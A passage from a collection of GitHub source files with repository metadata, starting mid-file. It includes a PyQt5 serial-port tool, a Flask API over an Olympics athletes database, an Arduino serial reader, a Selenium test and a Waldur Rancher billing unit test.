np.array([j for j, c in enumerate(cols) if 'val' in c])\n break\n\n d = np.genfromtxt(file_name, delimiter=';', skip_header=skip_lines)\n # convert from microseconds in CIVA b-scan file to seconds\n Z = d[:, 0]\n X = coords[ind-1]\n b = d[:, ind]\n\n da = xr.DataArray(b, coords=[('Z', Z), ('X', X)])\n da.coords['Z'].attrs['units'] = 's'\n da.coords['X'].attrs['units'] = 'mm'\n return da\n","repo_name":"dibgerge/readers","sub_path":"readers/civa.py","file_name":"civa.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7929082905","text":"import sys\nimport time\nimport datetime\nimport re\n\nfrom PyQt5.QtWidgets import QButtonGroup, QVBoxLayout, QMessageBox, QHBoxLayout, QApplication, QWidget, QLabel, QPlainTextEdit, \\\n QTextEdit, QMainWindow, QPushButton, QDialog\nfrom PyQt5 import QtGui, QtWidgets, QtCore\nfrom PyQt5.QtCore import QTimer, QThread, pyqtSignal, qDebug, QSettings, QVariant, Qt, QObject, QPoint\nfrom PyQt5.QtGui import QIcon, QPixmap, QTextCursor\nfrom qt_material import apply_stylesheet\nimport qdarkstyle\nfrom qdarkstyle.light.palette import LightPalette\nfrom qdarkstyle.dark.palette import DarkPalette\n\nfrom learn_serial.ui_my_serial import Ui_MainWindow\nfrom learn_serial.serial_utils import get_ports, open_port\n\n\ndef tobool(s):\n if isinstance(s, bool):\n return s\n return s.lower() == 'true'\n\n\nclass SerialThread(QThread):\n data_arrive_signal = pyqtSignal(name='serial_data')\n\n def __init__(self, ser=None):\n super().__init__()\n self.ser = ser\n self.current_data = b''\n\n def run(self):\n time.sleep(0.5) # 防止直接进循环, 阻塞主ui\n while True:\n if self.ser is not None and self.ser.inWaiting():\n self.current_data = self.ser.read(self.ser.inWaiting())\n self.data_arrive_signal.emit()\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n self.setWindowTitle('串口调试助手')\n self.initialize_ui()\n self.read_settings()\n\n self.ui.open_port.clicked.connect(self.open_port)\n self.ui.close_port.clicked.connect(self.close_port)\n self.ui.send_data.clicked.connect(self.send_data)\n self.ui.send_data.clicked.connect(self.check_repeat_send)\n self.ui.clear_screen.clicked.connect(self.clear_screen)\n self.ui.stop_send.clicked.connect(self.stop_send)\n self.ui.refresh_port.clicked.connect(self.refresh_port)\n\n self.current_port = None\n self.serial_thread = SerialThread(self.current_port)\n self.serial_thread.start()\n self.serial_thread.data_arrive_signal.connect(self.receive_data)\n\n self.repeat_send_timer = QTimer()\n self.repeat_send_timer.timeout.connect(self.send_data)\n\n def refresh_port(self):\n \"\"\"\n 刷新串口\n :return:\n \"\"\"\n available_ports = get_ports()\n self.ui.serial_selection.clear()\n self.ui.serial_selection.addItems(available_ports)\n\n def check_repeat_send(self):\n \"\"\"\n 是否开启重复发送定时器\n :return:\n \"\"\"\n if self.ui.repeat_send.checkState() == Qt.Checked:\n send_interval = self.ui.send_interval.value()\n self.repeat_send_timer.start(send_interval)\n self.ui.send_data.setEnabled(False)\n self.ui.stop_send.setEnabled(True)\n self.ui.send_interval.setEnabled(False)\n self.ui.repeat_send.setEnabled(False)\n\n def send_data(self):\n \"\"\"\n 数据发送\n :return:\n \"\"\"\n input_data = self.ui.input_data.toPlainText()\n if len(input_data) == 0:\n return\n send_ascii_format = self.ui.send_ascii_format.isChecked()\n try:\n if send_ascii_format:\n self.current_port.write(input_data.encode('utf-8'))\n else:\n self.current_port.write(bytes.fromhex(input_data))\n self.ui.send_data_status.setText('数据发送状态: 成功')\n except:\n self.ui.send_data_status.setText('数据发送状态: 失败')\n\n def stop_send(self):\n \"\"\"\n 停止发送\n :return:\n \"\"\"\n self.repeat_send_timer.stop()\n self.ui.send_data.setEnabled(True)\n self.ui.stop_send.setEnabled(False)\n self.ui.repeat_send.setEnabled(True)\n self.ui.send_interval.setEnabled(True)\n\n def receive_data(self):\n receive_ascii_format = self.ui.receive_ascii_format.isChecked()\n try:\n if receive_ascii_format:\n current_data = self.serial_thread.current_data.decode('utf-8')\n else:\n current_data = self.serial_thread.current_data.hex()\n data_list = re.findall('.{2}', current_data)\n current_data = ' '.join(data_list) + ' '\n if self.ui.auto_new_line.checkState() == Qt.Checked and self.ui.show_time.checkState() == Qt.Checked:\n current_data = datetime.datetime.now().strftime('%H:%M:%S') + ' ' + current_data\n if self.ui.auto_new_line.checkState() == Qt.Checked:\n current_data += '\\n'\n self.ui.receive_data_area.insertPlainText(current_data)\n if self.ui.scroll_show.isChecked():\n self.ui.receive_data_area.verticalScrollBar().setValue(self.ui.receive_data_area.verticalScrollBar().maximum())\n self.ui.receive_data_status.setText('数据接收状态: 成功')\n except:\n self.ui.receive_data_status.setText('数据接收状态: 失败')\n\n def clear_screen(self):\n self.ui.receive_data_area.clear()\n\n def open_port(self):\n current_port_name = self.ui.serial_selection.currentText()\n baud_rate = int(self.ui.baud_rate.currentText())\n bytesize = int(self.ui.data_bit.currentText())\n check_bit = self.ui.check_bit.currentText()[0]\n stop_bit = float(self.ui.stop_bit.currentText())\n try:\n self.current_port = open_port(current_port_name,\n baudrate=baud_rate,\n bytesize=bytesize,\n parity=check_bit,\n stopbits=stop_bit)\n except:\n self.ui.port_status.setText(current_port_name + ' 打开失败')\n return\n if self.current_port and self.current_port.isOpen():\n self.ui.port_status.setText(current_port_name + ' 打开成功')\n self.ui.open_port.setEnabled(False)\n self.ui.close_port.setEnabled(True)\n self.ui.send_data.setEnabled(True)\n self.ui.refresh_port.setEnabled(False)\n self.serial_thread.ser = self.current_port\n else:\n self.ui.port_status.setText(current_port_name + ' 打开失败')\n\n def close_port(self):\n if self.current_port is not None:\n self.serial_thread.ser = None\n self.repeat_send_timer.stop()\n self.current_port.close()\n self.ui.port_status.setText(self.current_port.port + ' 关闭成功')\n self.ui.open_port.setEnabled(True)\n self.ui.send_data.setEnabled(False)\n self.ui.close_port.setEnabled(False)\n self.ui.stop_send.setEnabled(False)\n self.ui.send_interval.setEnabled(True)\n self.ui.repeat_send.setEnabled(True)\n self.ui.refresh_port.setEnabled(True)\n self.current_port = None\n else:\n self.ui.port_status.setText('无串口可关闭')\n\n def initialize_ui(self):\n self.ui.send_data.setEnabled(False)\n self.ui.close_port.setEnabled(False)\n self.ui.stop_send.setEnabled(False)\n available_ports = get_ports()\n self.ui.serial_selection.addItems(available_ports)\n\n def closeEvent(self, a0: QtGui.QCloseEvent) -> None:\n if self.current_port is not None:\n self.current_port.close()\n self.serial_thread.terminate()\n self.write_settings()\n\n def read_settings(self):\n settings = QSettings('serial_config', 'serial_app')\n # window\n if settings.value('windowState') is not None:\n self.restoreState(settings.value('windowState'))\n if settings.value('geometry') is not None:\n self.restoreGeometry(settings.value('geometry'))\n self.ui.serial_selection.setCurrentIndex(int(settings.value('port_name', defaultValue=0)))\n self.ui.data_bit.setCurrentIndex(int(settings.value('data_bit', defaultValue=0)))\n self.ui.check_bit.setCurrentIndex(int(settings.value('check_bit', defaultValue=0)))\n self.ui.stop_bit.setCurrentIndex(int(settings.value('stop_bit', defaultValue=0)))\n self.ui.baud_rate.setCurrentIndex(int(settings.value('baud_rate', defaultValue=0)))\n self.ui.auto_new_line.setChecked(tobool(settings.value('auto_new_line', defaultValue=False)))\n self.ui.repeat_send.setChecked(tobool(settings.value('repeat_send', defaultValue=False)))\n self.ui.show_time.setChecked(tobool(settings.value('show_time', defaultValue=False)))\n self.ui.send_interval.setValue(int(settings.value('send_interval', defaultValue=1000)))\n self.ui.send_ascii_format.setChecked(tobool(settings.value('send_ascii_format', defaultValue=True)))\n self.ui.send_hex_format.setChecked(tobool(settings.value('send_hex_format', defaultValue=False)))\n self.ui.receive_ascii_format.setChecked(tobool(settings.value('receive_ascii_format', defaultValue=True)))\n self.ui.receive_hex_format.setChecked(tobool(settings.value('receive_hex_format', defaultValue=False)))\n\n def write_settings(self):\n settings = QSettings('serial_config', 'serial_app')\n # window\n settings.setValue('geometry', self.saveGeometry())\n settings.setValue('windowState', self.saveState())\n settings.setValue('port_name', self.ui.serial_selection.currentIndex())\n settings.setValue('baud_rate', self.ui.baud_rate.currentIndex())\n settings.setValue('data_bit', self.ui.data_bit.currentIndex())\n settings.setValue('check_bit', self.ui.check_bit.currentIndex())\n settings.setValue('stop_bit', self.ui.stop_bit.currentIndex())\n settings.setValue('auto_new_line', self.ui.auto_new_line.isChecked())\n settings.setValue('repeat_send', self.ui.repeat_send.isChecked())\n settings.setValue('show_time', self.ui.show_time.isChecked())\n settings.setValue('send_interval', self.ui.send_interval.value())\n settings.setValue('send_ascii_format', self.ui.send_ascii_format.isChecked())\n settings.setValue('send_hex_format', self.ui.send_hex_format.isChecked())\n settings.setValue('receive_ascii_format', self.ui.receive_ascii_format.isChecked())\n settings.setValue('receive_hex_format', self.ui.receive_hex_format.isChecked())\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = MainWindow()\n app.setStyleSheet(qdarkstyle.load_stylesheet(qt_api='pyqt5', palette=DarkPalette()))\n w.show()\n sys.exit(app.exec_())\n\n\n\n\n\n","repo_name":"ZhengXinyue/bilibili_project","sub_path":"learn_serial/serial_utility.py","file_name":"serial_utility.py","file_ext":"py","file_size_in_byte":10656,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"48"} +{"seq_id":"32354159087","text":"import pathlib\nfrom setuptools import setup, find_packages\n\nHERE = pathlib.Path(__file__).parent\n\nREADME = (HERE / \"README.md\").read_text()\n\nsetup(\n name=\"schooled\",\n version=\"0.0.6\",\n description=\"Stuff\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/microprediction/schooled\",\n author=\"microprediction\",\n author_email=\"peter.cotton@microprediction.com\",\n license=\"MIT\",\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n ],\n packages=[\"schooled\",\"schooled.cnvrg\",\"schooled.datasets\"],\n test_suite='pytest',\n tests_require=['pytest'],\n include_package_data=True,\n install_requires=[\"wheel\",\"timemachines\",\"cnvrgv2\"],\n entry_points={\n \"console_scripts\": [\n \"schooled=schooled.__main__:main\",\n ]\n },\n)\n","repo_name":"microprediction/schooled","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"30029781132","text":"import os\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport time\n\n@pytest.mark.parametrize(\"filename\", [\n (\"basic1\"),\n])\ndef test_data(filename):\n # Get input\n in_filename = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), '..', 'testdata', filename+'.in.xml'\n )\n with open(in_filename) as fp:\n in_data = fp.read()\n\n # get expected\n expected_filename = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), '..', 'testdata', filename+'.out.html'\n )\n with open(expected_filename) as fp:\n expected_data = fp.read()\n\n # Get URL of test page\n test_page = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), '..', 'test.html'\n )\n\n # Open Browser\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\")\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(\"file://\" + test_page)\n time.sleep(1)\n\n # Put data into form\n in_elem = driver.find_element_by_id(\"datain\")\n in_elem.clear()\n in_elem.send_keys(in_data)\n\n # submit form\n driver.find_element_by_id(\"submit\").click()\n time.sleep(1)\n\n # get result\n got_data = driver.find_element_by_id(\"results\").get_attribute('innerHTML')\n\n # cleanup\n driver.close()\n\n # finally compare\n print(got_data)\n assert expected_data == got_data\n","repo_name":"OpenDataServices/contract-xml-parser","sub_path":"pytest/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5441473039","text":"from flask import Flask, request,jsonify\nfrom sqlalchemy import Column, Integer, Text, Float, DateTime, create_engine, ForeignKey, func, and_\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.sql.expression import func\nfrom flask_restful import Resource, Api\nfrom dataclasses import dataclass\n#import json\nimport simplejson as j\nimport pandas as pd\nfrom flask_cors import CORS, cross_origin\nfrom sqlalchemy.sql import text\nfrom sqlalchemy import and_\n\n\n\nBase = declarative_base() # Basisklasse aller in SQLAlchemy verwendeten Klassen\nmetadata = Base.metadata\n\nengine = create_engine('sqlite:///olympics.db', echo=True)\n\ndb_session = scoped_session(sessionmaker(autoflush=True, bind=engine))\nBase.query = db_session.query_property() #Dadurch hat jedes Base - Objekt (also auch ein GeoInfo) ein Attribut query für Abfragen\napp = Flask(__name__) #Die Flask-Anwendung\nCORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n# darf man von Webseiten aus nicht zugrfeifen\napi = Api(app) #Die Flask API\n\n\n@dataclass\nclass NocRegions(Base):\n noc : str\n region : str\n notes : str\n\n __tablename__ = 'noc_regions'\n noc = Column('NOC', Text, primary_key=True)\n region = Column('region', Text)\n notes = Column('notes', Text)\n\n\n@dataclass #Diese ermoeglicht das Schreiben als JSON mit jsonify\nclass AthleteEvents(Base):\n __tablename__ = 'athlete_events'\n\n id: int\n name: str\n sex: str\n age: int\n height: int\n weight: int\n noc: NocRegions\n\n id = Column('ID', Integer, primary_key=True)\n name = Column('Name', Text)\n sex = Column('Sex', Text)\n age = Column('Age', Integer)\n height = Column('Height', Integer)\n weight = Column('Weight', Integer)\n team = Column('Team', Text)\n noc = Column('NOC', Text, ForeignKey(NocRegions.noc))\n games = Column('Games', Text)\n year = Column('Year', Integer)\n season = Column('Season', Text)\n city = Column('City', Text)\n sport = Column('Sport', Text)\n event = Column('Event', Text)\n medal = Column('Medal', Text)\n\n\n\n@app.route('/event_by_noc/')\ndef event_by_noc(noc):\n infos = AthleteEvents.query.filter(AthleteEvents.noc == noc).all()\n return jsonify(infos)\n\n@app.route('/regions')\ndef regions():\n infos = NocRegions.query.all()\n return jsonify(infos)\n\n@app.route('/events')\ndef events():\n infos = db_session.query(AthleteEvents.event).distinct(AthleteEvents.event).order_by(AthleteEvents.event).all()\n return j.dumps(infos)\n\ndef medals_by_noc(noc):\n m = db_session.query(AthleteEvents.medal, func.count(AthleteEvents.medal)).filter(and_(AthleteEvents.medal != 'NA',AthleteEvents.noc == noc)).group_by(AthleteEvents.medal).all()\n m = pd.DataFrame.from_records(m, columns=['medal', 'cnt'])\n print(m)\n m['medal'] = pd.Categorical(m['medal'], [\"Gold\", \"Silver\", \"Bronze\"])\n m = m.sort_values(\"medal\")\n return m.values.tolist()\n\n@app.route('/medals/')\ndef medals(noc):\n m = medals_by_noc(noc)\n return jsonify(m)\n\n@app.route('/medals2/')\ndef medals2(noc):\n m = medals_by_noc(noc)\n key = []\n val = []\n for i in m:\n print(i[0] , i[1])\n key.append(i[0])\n val.append(i[1])\n res = [{'x' : key, 'y' : val , 'type':'bar'}]\n return j.dumps(res)\n\n\n@app.route('/count_by_sex')\ndef events_group_by_sex():\n with engine.connect() as conn:\n query = text(\"SELECT sex, medal, count(*) FROM athlete_events WHERE medal != 'NA' GROUP BY sex, medal\")\n res = conn.execute(query)\n res = [(row[0], row[1], row[2]) for row in res]\n print(res)\n return j.dumps(res)\n\n@app.route('/count_by_sex2')\ndef events_group_by_sex2():\n res = engine.execute(\"SELECT sex, medal, count(*) FROM athlete_events WHERE medal != 'NA' GROUP BY sex, medal\")\n keyM = []\n valM = []\n keyF = []\n valF = []\n for r in res:\n if r[0] == 'M':\n keyM.append(r[1])\n valM.append(r[2])\n else:\n keyF.append(r[1])\n valF.append(r[2])\n res = [(row[0], row[1], row[2]) for row in res]\n res = [{'x': keyM, 'y': valM, 'type': 'bar'},{'x': keyF, 'y': valF, 'type': 'bar'}]\n return j.dumps(res)\n\n#@app.route('/count_by_sex2/')\n#def count_by_sex2(noc):\n with engine.connect() as conn:\n query = text(\"SELECT sex, medal, count(*) FROM athlete_events WHERE medal != 'NA' AND NOC = :noc GROUP BY sex, medal\")\n res = conn.execute(query, {'noc': noc}) # Pass parameters as a dictionary\n\n keyM = []\n valM = []\n keyF = []\n valF = []\n for r in res:\n if r[0] == 'M':\n keyM.append(r[1])\n valM.append(r[2])\n else:\n keyF.append(r[1])\n valF.append(r[2])\n res = [(row[0], row[1], row[2]) for row in res]\n res = [{'x': keyM, 'y': valM, 'type': 'bar'},{'x': keyF, 'y': valF, 'type': 'bar'}]\n return j.dumps(res)\n\n@app.route('/event_by_region_noc/')\ndef event_by_region_noc(noc):\n infos = AthleteEvents.query.join(NocRegions, AthleteEvents.noc == NocRegions.noc).filter(NocRegions.region == noc).all()\n return jsonify(infos)\n\n@app.route('/event_by_region/')\ndef event_by_region(region):\n infos = AthleteEvents.query.join(NocRegions, AthleteEvents.noc == NocRegions.noc).filter(NocRegions.region == region).all()\n return jsonify(infos)\n\n#@app.route('/MF_by_noc/')\n#def MF_by_noc(noc):\n counts = (\n db_session.query(AthleteEvents.sex, func.count(AthleteEvents.sex))\n .filter(AthleteEvents.noc == noc)\n .group_by(AthleteEvents.sex)\n .all()\n )\n return jsonify(counts)\n\n\n@app.teardown_appcontext\ndef shutdown_session(exception=None):\n print(\"Shutdown Session\")\n db_session.remove()\n\n@app.route('/count_by_sex2/')\ndef count_by_sex2(noc):\n res = db_session.query(AthleteEvents.sex, AthleteEvents.medal, func.count(AthleteEvents.medal)).filter(and_(AthleteEvents.medal != 'NA', AthleteEvents.noc == noc)).group_by(AthleteEvents.sex, AthleteEvents.medal).all()\n keyM = []\n valM = []\n keyF = []\n valF = []\n for r in res:\n if r[0] == 'M':\n keyM.append(r[1])\n valM.append(r[2])\n else:\n keyF.append(r[1])\n valF.append(r[2])\n res = [{'x': keyM, 'y': valM, 'type': 'bar'},{'x': keyF, 'y': valF, 'type': 'bar'}]\n return j.dumps(res)\n\n@app.route('/MF_by_noc/')\ndef MF_by_noc(noc):\n res = db_session.query(AthleteEvents.sex, func.count(AthleteEvents.sex)).filter(and_(AthleteEvents.noc == noc)).group_by(AthleteEvents.sex).all()\n key = []\n val = []\n for r in res:\n key.append(r[0])\n val.append(r[1])\n res = [{'x': key, 'y': val, 'type': 'bar'}]\n return j.dumps(res)\n\n@app.route('/age_by_height/')\ndef age_by_height(noc):\n res = db_session.query(AthleteEvents.age, AthleteEvents.height).filter(and_(AthleteEvents.noc == noc)).all()\n res = [{'x': [row[0] for row in res], 'y': [row[1] for row in res], 'mode': 'markers', 'type': 'scatter'}]\n return j.dumps(res)\n\n@app.route('/medals//', methods=['GET'])\ndef get_medals_by_event(region, event):\n medals = db_session.query(AthleteEvents.medal, func.count(AthleteEvents.medal)) \\\n .join(NocRegions, AthleteEvents.noc == NocRegions.noc) \\\n .filter(and_(AthleteEvents.medal != 'NA', NocRegions.region == region, AthleteEvents.event == event)) \\\n .group_by(AthleteEvents.medal).all()\n \n medals_df = pd.DataFrame.from_records(medals, columns=['medal', 'cnt'])\n medals_df['medal'] = pd.Categorical(medals_df['medal'], [\"Gold\", \"Silver\", \"Bronze\"])\n medals_df = medals_df.sort_values(\"medal\")\n return jsonify(medals_df.values.tolist())\n\n@app.route('/medals2//', methods=['GET'])\ndef get_medals2_by_event(region, event):\n medals = db_session.query(AthleteEvents.medal, func.count(AthleteEvents.medal)) \\\n .join(NocRegions, AthleteEvents.noc == NocRegions.noc) \\\n .filter(and_(AthleteEvents.medal != 'NA', NocRegions.region == region, AthleteEvents.event == event)) \\\n .group_by(AthleteEvents.medal).all()\n \n medals_df = pd.DataFrame.from_records(medals, columns=['medal', 'cnt'])\n medals_df['medal'] = pd.Categorical(medals_df['medal'], [\"Gold\", \"Silver\", \"Bronze\"])\n medals_df = medals_df.sort_values(\"medal\")\n\n key = []\n val = []\n for row in medals_df.itertuples():\n key.append(row.medal)\n val.append(row.cnt)\n\n response = [{'x': key, 'y': val, 'type': 'bar'}]\n return j.dumps(response)\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Primtaxx/dashboard","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27532237320","text":"import re\n\nclass countsColumnsNaming():\n \n def name_is_one_of_11_ht_reps(self, x):\n if (re.search('fbf\\d', x) and (\n re.search('oo', x) or re.search('sp', x))):\n return True\n #elif (re.search('control.*lane.*', x)):\n # return True\n else:\n return False\n\n def name_is_a_combined_ht_control(self, x):\n # Combined: control_sp_counts.txt\n # control_oo_counts.txt\n # control_n2_counts.txt\n if (re.search('control_oo_counts', x) or \\\n re.search('control_sp_counts', x)):\n return True\n return False\n\n def name_is_a_combined_lt_control(self, x):\n if re.search('control_n2_counts', x):\n return True\n return False\n \n def shorten_names_and_subset_columns(self):\n def clean(n):\n\n n = re.sub('_counts.txt', '', n)\n n = re.sub('exp_fbf1_sp', 'SP FBF1', n)\n n = re.sub('exp_fbf2_sp', 'SP FBF2', n)\n n = re.sub('exp_fbf1_oo', 'OO FBF1', n)\n n = re.sub('exp_fbf2_oo', 'OO FBF2', n)\n n = re.sub('exp_fbf_sp', 'SP FBF', n)\n n = re.sub('exp_fbf_oo', 'OO FBF', n)\n n = re.sub('contol_', 'c_', n)\n \n #n = re.sub('fbf', 'F', re.sub('rt.*and.*', '', re.sub('exp_', '',\n # re.sub('control_', 'c_', re.sub('_counts.txt', '',\n # re.sub('[A-Z]{4}', 'i', n)))\n # )))\n\n\n #n = re.sub('F_sp_', 'SP FBF', n)\n #n = re.sub('F_oo_', 'OO FBF', n)\n n = re.sub('exp_fbf1_TGGC', 'LT FBF1_1', n)\n n = re.sub('exp_fbf1_GGTT', 'LT FBF1_2', n)\n n = re.sub('exp_fbf1_CGGA', 'LT FBF1_3', n) \n n = re.sub('exp_fbf2_CGGA', 'LT FBF2_1', n)\n n = re.sub('exp_fbf2_GGTT', 'LT FBF2_2', n)\n n = re.sub('exp_fbf2_TGGC', 'LT FBF2_3', n)\n\n # Replicates for FBF1 and FBF2 at 20C:\n#exp_bed1: ./bed_collapsed/exp_fbf1_TGGC.bed\n#exp_bed2: ./bed_collapsed/exp_fbf1_GGTT.bed\n#exp_bed3: ./bed_collapsed/exp_fbf1_CGGA.bed\n\n#exp_bed1: ./bed_collapsed/exp_fbf2_CGGA.bed\n#exp_bed2: ./bed_collapsed/exp_fbf2_GGTT.bed\n#exp_bed3: ./bed_collapsed/exp_fbf2_TGGC.bed\n\n return n # 12 FBF + 12 controls\n \n known = []\n for i, col in enumerate(self.counts_df.columns):\n \n if col == 'ave_neg':\n known.append(x)\n continue\n \n #rep = 1\n name = clean(col) #+ '_' + str(rep)\n \n #while (name in known):\n # rep += 1\n # if rep > 9:\n # break\n # name = name[:-1] + str(rep)\n known.append(name)\n \n print('>', known)\n self.counts_df.columns = known","repo_name":"dfporter/FBF_gendered_gl","sub_path":"cliputil/countsColumnsNaming.py","file_name":"countsColumnsNaming.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73824731667","text":"import serial\nimport time\n\n# connect to Arduino\ndef init_serial(port_num, speed, tout):\n try:\n # DEBUG\n #print(port_num)\n #print(speed)\n #print(tout)\n \n ser = serial.Serial(\n port=port_num,\n baudrate=speed,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=tout)\n\n print(\"Connected to device on: \" + ser.portstr)\n ser.flush()\n \n return ser\n \n except:\n print(\"Could not connect to Arduino! Check if it's plugged in / COM port number.\")\n\n# read value measured on Arduino, in two blocks\ndef get_value(ser, command):\n try:\t\n ser.write(command)\n \n time.sleep(0.5)\n \n b1 = int.from_bytes(ser.read(1), 'little')\n \n time.sleep(0.1)\n \n b2 = int.from_bytes(ser.read(1), 'little')\n \n x = b1 + b2*256\n\n return x\n \n except:\n print(\"Error retrieving values from Arduino!\")\n\n# close the serial connection \ndef close_serial(ser):\n if ser is not None:\n ser.close()","repo_name":"f-labaj/SPI-S-portable","sub_path":"arduino_control.py","file_name":"arduino_control.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40248943246","text":"import os\nimport openai\nimport requests\n# from typing import Dict\nfrom flask import Flask, request, jsonify\n\nopenai.api_key = 'YOUR API KEY'\nopenai.Model.list()\n# print(openai.Model.list())\n\nresponse = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=\"What's the color of sky?\",\n temperature=0.9,\n max_tokens=1000,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0\n)\n\nprint(response)\n\n\n# app = Flask(__name__)\n\n# headers = {'Authorization':f\"Bearer {openai.api_key}\"}\n# data = {}","repo_name":"Kaikiat1126/chatgpt-messenger","sub_path":"lib/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13806824286","text":"from unittest import mock\n\nimport datetime\nfrom freezegun import freeze_time\nfrom rest_framework import test\n\nfrom waldur_core.core import utils as core_utils\nfrom waldur_mastermind.invoices import tasks as invoices_tasks\nfrom waldur_mastermind.invoices import models as invoices_models\nfrom waldur_mastermind.marketplace import models as marketplace_models\nfrom waldur_mastermind.marketplace import tasks as marketplace_tasks\nfrom waldur_mastermind.marketplace.tests import factories as marketplace_factories\nfrom waldur_mastermind.marketplace_rancher import PLUGIN_NAME\nfrom waldur_openstack.openstack_tenant.tests import factories as openstack_tenant_factories\nfrom waldur_openstack.openstack_tenant.tests import fixtures as openstack_tenant_fixtures\nfrom waldur_rancher import models as rancher_models\nfrom waldur_rancher import tasks, models\nfrom waldur_rancher.tests import factories as rancher_factories\n\n\nclass InvoiceTest(test.APITransactionTestCase):\n def setUp(self):\n self.fixture = openstack_tenant_fixtures.OpenStackTenantFixture()\n self.patcher = mock.patch('waldur_core.structure.models.ServiceProjectLink.get_backend')\n self.mocked_get_backend = self.patcher.start()\n self.mocked_get_backend().get_cluster_nodes.return_value = [\n {'backend_id': 'node_backend_id',\n 'name': 'name_rancher_node'}]\n\n service = rancher_factories.RancherServiceFactory(customer=self.fixture.customer)\n spl = rancher_factories.RancherServiceProjectLinkFactory(project=self.fixture.project, service=service)\n service_settings = spl.service.settings\n self.offering = marketplace_factories.OfferingFactory(type=PLUGIN_NAME, scope=service_settings)\n self.plan = marketplace_factories.PlanFactory(\n offering=self.offering,\n )\n self.offering_component = marketplace_factories.OfferingComponentFactory(\n offering=self.offering,\n type='node',\n billing_type=marketplace_models.OfferingComponent.BillingTypes.USAGE\n )\n self.plan_component = marketplace_factories.PlanComponentFactory(\n plan=self.plan,\n component=self.offering_component,\n )\n openstack_tenant_factories.FlavorFactory(settings=self.fixture.spl.service.settings,\n ram=1024 * 8,\n cores=8)\n image = openstack_tenant_factories.ImageFactory(settings=self.fixture.spl.service.settings)\n openstack_tenant_factories.SecurityGroupFactory(name='default',\n settings=self.fixture.spl.service.settings)\n service_settings.options['base_image_name'] = image.name\n service_settings.save()\n\n self.resource = None\n self.cluster = None\n self.plan_period = None\n\n def tearDown(self):\n super(InvoiceTest, self).tearDown()\n mock.patch.stopall()\n\n def _create_usage(self, mock_executors):\n order = marketplace_factories.OrderFactory(project=self.fixture.project, created_by=self.fixture.owner)\n order_item = marketplace_factories.OrderItemFactory(\n order=order,\n offering=self.offering,\n attributes={'name': 'name',\n 'tenant_settings': openstack_tenant_factories.OpenStackTenantServiceSettingsFactory.get_url(\n self.fixture.openstack_tenant_service_settings),\n 'nodes': [{\n 'subnet': openstack_tenant_factories.SubNetFactory.get_url(self.fixture.subnet),\n 'system_volume_size': 1024,\n 'memory': 1,\n 'cpu': 1,\n 'roles': ['controlplane', 'etcd', 'worker']\n }],\n }\n )\n serialized_order = core_utils.serialize_instance(order_item.order)\n serialized_user = core_utils.serialize_instance(self.fixture.staff)\n marketplace_tasks.process_order(serialized_order, serialized_user)\n self.assertTrue(marketplace_models.Resource.objects.filter(name='name').exists())\n self.assertTrue(rancher_models.Cluster.objects.filter(name='name').exists())\n\n self.cluster = models.Cluster.objects.get(name='name')\n self.cluster.backend_id = 'cluster_backend_id'\n self.cluster.save()\n\n create_node_task = tasks.CreateNodeTask()\n create_node_task.execute(\n mock_executors.ClusterCreateExecutor.execute.mock_calls[0][1][0].node_set.first(),\n user_id=mock_executors.ClusterCreateExecutor.execute.mock_calls[0][2]['user'].id,\n )\n self.assertTrue(self.cluster.node_set.filter(cluster=self.cluster).exists())\n\n today = datetime.date.today()\n self.resource = marketplace_models.Resource.objects.get(scope=self.cluster)\n self.plan_period = marketplace_models.ResourcePlanPeriod.objects.create(\n start=today,\n end=None,\n resource=self.resource,\n plan=self.plan,\n )\n invoices_tasks.create_monthly_invoices()\n tasks.update_node(self.cluster.id)\n\n @freeze_time('2019-01-01')\n @mock.patch('waldur_rancher.views.executors')\n def test_create_usage_if_node_is_active(self, mock_executors):\n self._create_usage(mock_executors)\n today = datetime.date.today()\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=1,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n invoice = invoices_models.Invoice.objects.get(customer=self.cluster.customer)\n self.assertEqual(invoice.items.count(), 1)\n self.assertEqual(invoice.price, self.plan_component.price)\n\n 